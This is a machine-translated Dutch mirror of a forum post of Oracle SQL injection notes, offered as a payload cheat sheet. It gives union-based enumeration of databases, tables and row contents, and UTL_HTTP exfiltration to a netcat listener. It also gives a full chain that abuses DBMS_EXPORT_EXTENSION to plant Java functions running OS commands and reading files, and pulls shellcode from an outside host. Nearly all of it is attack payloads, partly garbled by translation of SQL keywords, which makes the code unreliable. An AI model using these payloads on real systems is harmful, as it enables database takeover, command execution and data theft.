Dit artikel is een spiegelartikel van machinevertaling, klik hier om naar het oorspronkelijke artikel te gaan.

Bekijken: 11931|Antwoord: 0

[Veilige communicatie] SQL injection notes orakel

[Link kopiëren]
Geplaatst op 24-01-2015 12:58:17 | | |
Dit bericht is voor het laatst bewerkt door test op 24-1-2015 13:01

Opmerking: --
Meervoudige zinnen uitvoering wordt niet ondersteund, en gefedereerde queries worden ondersteund
Databasenamen, tabelnamen en kolomnamen worden allemaal met hoofdletters geschreven.


lengte(veld)
ascii(substr(veld, N, 1))


en (selecteer aantal(*) uit dual)>0 -- Bepaal of het orakel is of niet

volgorde door n--

en 1=2 unieselectie null, null,.....,null uit dual-- vervang null door N of 'N'

en 1=2 union select null, (sql-instructie) ,.....,null van dual -- wijziging naar (sql-statement) op 'N'

en (selecteer aantal(*) uit all_objects waarbij object_name='UTL_HTTP')>0 -- Bepaal of de UTL_HTTP wordt ondersteund (het export-IP is bekend)

en UTL_HTTP.request('http://LocalIP:port'|| (SQL-instructie)) =1-- Berichten op afstand verzenden naar lokal, lokaal luisteren nc -vv -l -p 1234


SQL-statements
Selecteer banner uit sys.v_$version waarbij rownum=1 om de oracleversie te bevragen
selecteer lid uit v$logfile waarbij rownum=1 Het logbestandpad opvragen (Windows of Linux)
selecteer utl_inaddr.get_host_address vanuit dual om het database listening IP te bevragen
Selecteer instance_name van v$instance om de sid te bevragen
selecteer naam uit v$database Zoek de huidige databasenaam op
Selecteer sys_context ('userenv', 'current_user') uit Dual Query database Users
Selecteer * uit session_roles waar rownum=1 om de huidige gebruikersrechten te bevragen
Selecteer * uit session_roles waar rownum=1 [en rol<>'eerste toestemmingsnaam']



selecteer table_name uit user_tables waarbij rownum=1 Het eerste tabelsegment van de huidige database
selecteer table_name||','|| tablespace_name van user_tables waarbij rownum=1 Eerste tabelsegment, database (voor verificatie is het mogelijk niet v$database)
selecteer table_name uit user_tables waarbij rownum=1 en table_name<>'eerste tabelsegment' Het tweede tabelsegment van de huidige database

selecteer column_name uit user_tab_columns waarbij rownum=1 en table_name='Tabel Segment' Het eerste veld dat overeenkomt met de tabelnaam
selecteer column_name uit user_tab_columns waarbij rownum=1 en table_name='Tabelsegment' en column_name<>'Eerste veld' Het tweede veld dat overeenkomt met de tabelnaam

Selecteer een veld uit het tabelsegment waarbij rownum=1 de inhoud van de eerste regel schendt
Selecteer veld uit het tabelsegment waarbij rownum=1 en veld <> 'eerste regel inhoud' de inhoud van de tweede regel blootleggen


Cross-bibliotheek
Selecteer eigenaar uit all_tables waarbij rownum=1 de eerste databasenaam opzoekt
selecteer eigenaar uit all_tables waarbij rownum=1 en eigenaar<> 'Eerste databasenaam' om de tweede databasenaam op te vragen

selecteer table_name uit all_tables waarbij rownum=1 en owner='database name' De eerste tabelnaam van de overeenkomstige database opzoeken.
Selecteer table_name uit all_tables waarbij rownum=1 en owner='database name' en table_name<>'eerste tabelnaam' om de tweede tabelnaam van de bijbehorende database op te vragen

selecteer column_name uit all_tab_columns waarbij rownum=1 en owner='databasenaam' en table_name='table segment' Het eerste veld dat overeenkomt met de tabelnaam
selecteer column_name uit all_tab_columns waarbij rownum=1 en owner='databasenaam' en table_name='tabelsegment' en column_name<>'eerste veld' Het tweede veld dat overeenkomt met de tabelnaam

Selecteer een veld uit de database. tabelsegment waarbij rownum=1 de inhoud van de eerste regel schendt
Selecteer een veld uit de database. Het tabelsegment waarbij rownum=1 en veld <> 'First Line Content' de inhoud van de tweede rij schenden.





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); meervoudige statements END; --','SYS',0,'1',0)--

Als 'is escaped, wordt chr() gebruikt.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-statement || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Als meerdere zinnen te lang zijn, kun je de statement naar het websitebestand schrijven en utl_http.request gebruiken om het op te halen.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Maak een JAVA-pakket SecTest aan
runCMD wordt gebruikt om systeemcommando's uit te voeren
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK UITVOEREN'' VERKLAAR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' creëer, vervang en compileer de java-bron genaamd "SecTest" als import java.io.*; publieke klasse SecTest zet Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; terwyl((stemp=mijnReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Uitzondering e){return e.toString(); }}}''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--

readFile wordt gebruikt om het bestand te lezen
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK UITVOEREN'' VERKLAAR PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' creëer, vervang en compileer de java-bron genaamd "SecTest" als import java.io.*; publieke klasse SecTest verlengt Object{publieke statische String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; terwyl((stemp=mijnReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Return str; }catch(Uitzondering e){return e.toString(); }}}''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--



Java-rechten verlenen
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE DIRECT '''' begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLE BESTANDEN>>'''''''',''''''''uitvoeren''''''''); einde; ''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--



Maak een functie
SecRunCMD-functie
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE DIRECT ''''', maak of vervang functie SecRunCMD(p_cmd in varchar2) geef varchar2 terug als taal javanaam''''''''SecTest.runCMD(java.lang.String) geef String terug'''''''' ; ''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--

SecReadFile-functie
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE DIRECT ''''' create or replace function SecReadFile (bestandsnaam in varchar2) returneren varchar2 als taal java-naam''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--



Verleen toestemming om de publieke functie uit te voeren
SecRunCMD krijgt toestemming verleend
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN UITVOEREN ONMIDDELLIJK ''''geef alles op SecRunCMD aan het publiek'''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--

SecReadFile
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN UITVOEREN ONMIDDELLIJK ''''verleen alles op SecReadFile aan het publiek''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--



Detecteert of de functie succesvol is aangemaakt
en (selecteer aantal(*) uit all_objects waar object_name='SECRUNCMD')>0--
en (selecteer telling(*) uit all_objects waar object_name='SECREADFILE')>0--



Voer het commando uit
en '1'<>(selecteer systeem. SecRunCMD('Execute-commando') van dual)--
en '1'<>(selecteer systeem. SecReadFile('bestands fysiek adres') van dual)--
of
en 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null van dual--
en 1=2 union select null,...,sys. SecReadFile('file physical address'),...,null van dual--
of
en '1'<>(selecteer UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Execute Command'),' ',' '),'\n',' ')) van dual)--
en '1'<>(selecteer UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) van dual)--



Verwijderfunctie
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN UITVOEREN ONMIDDELLIJK '''''dropfunctie SecRunCMD''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--
en '1'<>'a'|| (selecteer SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); ONMIDDELLIJK ''VERKLAREN PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''''drop-functie SecReadFile''''; EINDE; ''; EINDE; --','SYS',0,'1',0) van dual)--




Vorig:Kan ik een aanvraag indienen voor matiging, welke voorwaarden heb ik nodig?
Volgend:ORALCE verkrijgt de hostnaam en het IP-adres
Disclaimer:
Alle software, programmeermaterialen of artikelen die door Code Farmer Network worden gepubliceerd, zijn uitsluitend bedoeld voor leer- en onderzoeksdoeleinden; De bovenstaande inhoud mag niet worden gebruikt voor commerciële of illegale doeleinden, anders dragen gebruikers alle gevolgen. De informatie op deze site komt van het internet, en auteursrechtconflicten hebben niets met deze site te maken. Je moet bovenstaande inhoud volledig van je computer verwijderen binnen 24 uur na het downloaden. Als je het programma leuk vindt, steun dan de echte software, koop registratie en krijg betere echte diensten. Als er sprake is van een inbreuk, neem dan contact met ons op via e-mail.

Mail To:help@itsvse.com